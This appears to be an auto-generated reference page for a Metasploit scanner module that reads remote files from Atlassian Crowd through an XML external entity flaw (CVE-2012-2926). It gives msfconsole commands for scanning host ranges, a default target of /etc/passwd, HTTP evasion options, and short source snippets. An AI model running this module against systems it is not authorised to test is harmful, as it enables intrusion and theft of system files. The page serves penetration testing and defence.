Atlassian Crowd XML Entity Expansion Remote File Access - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/atlassian_crowd_fileaccess metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Atlassian Crowd XML Entity Expansion Remote File Access
Module: auxiliary/scanner/http/atlassian_crowd_fileaccess
Source code: modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8095, 8443, 8880, 8888
List of CVEs: CVE-2012-2926
This module simply attempts to read a remote file from the server using a vulnerability in the way Atlassian Crowd handles XML files. The vulnerability occurs while trying to expand external entities with the SYSTEM identifier. This module has been tested successfully on Linux and Windows installations of Crowd.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/atlassian_crowd_fileaccess
msf auxiliary(atlassian_crowd_fileaccess) > show options
... show and set options ...
msf auxiliary(atlassian_crowd_fileaccess) > set RHOSTS ip-range
msf auxiliary(atlassian_crowd_fileaccess) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(atlassian_crowd_fileaccess) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(atlassian_crowd_fileaccess) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(atlassian_crowd_fileaccess) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/atlassian_crowd_fileaccess auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/atlassian_crowd_fileaccess
msf6 auxiliary(scanner/http/atlassian_crowd_fileaccess) > show info
Name: Atlassian Crowd XML Entity Expansion Remote File Access
Module: auxiliary/scanner/http/atlassian_crowd_fileaccess
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Will Caput
Trevor Hartman
Thaddeus Bogner
juan vazquez <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RFILE /etc/passwd yes Remote File
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8095 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /crowd/services yes Path to Crowd
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module simply attempts to read a remote file from the server
using a vulnerability in the way Atlassian Crowd handles XML files.
The vulnerability occurs while trying to expand external entities
with the SYSTEM identifier. This module has been tested successfully
on Linux and Windows installations of Crowd.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-2926
OSVDB (82274)
http://www.securityfocus.com/bid/53595
https://www.neg9.org
https://confluence.atlassian.com/display/CROWD/Crowd+Security+Advisory+2012-05-17
Module Options
This is a complete list of options available in the scanner/http/atlassian_crowd_fileaccess auxiliary module:
msf6 auxiliary(scanner/http/atlassian_crowd_fileaccess) > show options
Module options (auxiliary/scanner/http/atlassian_crowd_fileaccess):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RFILE /etc/passwd yes Remote File
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8095 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /crowd/services yes Path to Crowd
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/atlassian_crowd_fileaccess auxiliary module:
msf6 auxiliary(scanner/http/atlassian_crowd_fileaccess) > show advanced
Module advanced options (auxiliary/scanner/http/atlassian_crowd_fileaccess):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/atlassian_crowd_fileaccess module can do:
msf6 auxiliary(scanner/http/atlassian_crowd_fileaccess) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/atlassian_crowd_fileaccess auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/atlassian_crowd_fileaccess) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> Unable to connect
Here is a relevant code snippet related to the "<RHOST>:<RPORT> Unable to connect" error message:
51: res = send_request_cgi({
52: 'uri' => uri,
53: 'method' => 'GET'})
54:
55: if not res
56: print_error("#{rhost}:#{rport} Unable to connect")
57: return
58: end
59:
60: accessfile(ip)
61: end
<RHOST><RPORT> Failed to retrieve file from <RHOST>:<RPORT>
Here is a relevant code snippet related to the "<RHOST><RPORT> Failed to retrieve file from <RHOST>:<RPORT>" error message:
132: f = ::File.basename(datastore['RFILE'])
133: path = store_loot('atlassian.crowd.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
134: print_good("#{rhost}:#{rport} Atlassian Crowd - #{datastore['RFILE']} saved in #{path}")
135: return
136: end
137: end
138:
139: print_error("#{rhost}#{rport} Failed to retrieve file from #{rhost}:#{rport}")
140: end
141: end
142:
Go back to menu.
Related Pull Requests
- #11523 Merged Pull Request: MSF5: Remove unneeded RHOST deregister in scanners
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #2422 Merged Pull Request: remove peer and rport methods since they are already defined in Msf::Exploit::Remote::HttpClient
- #1417 Merged Pull Request: Improves normalize_uri(), and updates modules that are using it
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
- #1047 Merged Pull Request: Set normalize uri on modules
- #951 Merged Pull Request: Infohash cleanups
- #533 Merged Pull Request: Added auxiliary module for CVE-2012-2926
References
- CVE-2012-2926
- OSVDB (82274)
- BID-53595
- https://www.neg9.org
- https://confluence.atlassian.com/display/CROWD/Crowd+Security+Advisory+2012-05-17
See Also
Check also the following modules related to this module:
- exploit/linux/http/atlassian_confluence_webwork_ognl_injection
- exploit/multi/http/atlassian_confluence_namespace_ognl_injection
- exploit/multi/http/atlassian_confluence_webwork_ognl_injection
- exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce
- auxiliary/admin/http/contentkeeper_fileaccess
- auxiliary/admin/webmin/edit_html_fileaccess
- auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess
- auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
- auxiliary/scanner/http/mediawiki_svg_fileaccess
- auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
- auxiliary/scanner/http/novell_file_reporter_srs_fileaccess
- auxiliary/scanner/http/zenworks_assetmanagement_fileaccess
- auxiliary/scanner/misc/easycafe_server_fileaccess
- auxiliary/scanner/misc/zenworks_preboot_fileaccess
- auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess
- auxiliary/scanner/scada/sielco_winlog_fileaccess
Authors
- Will Caput
- Trevor Hartman
- Thaddeus Bogner
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.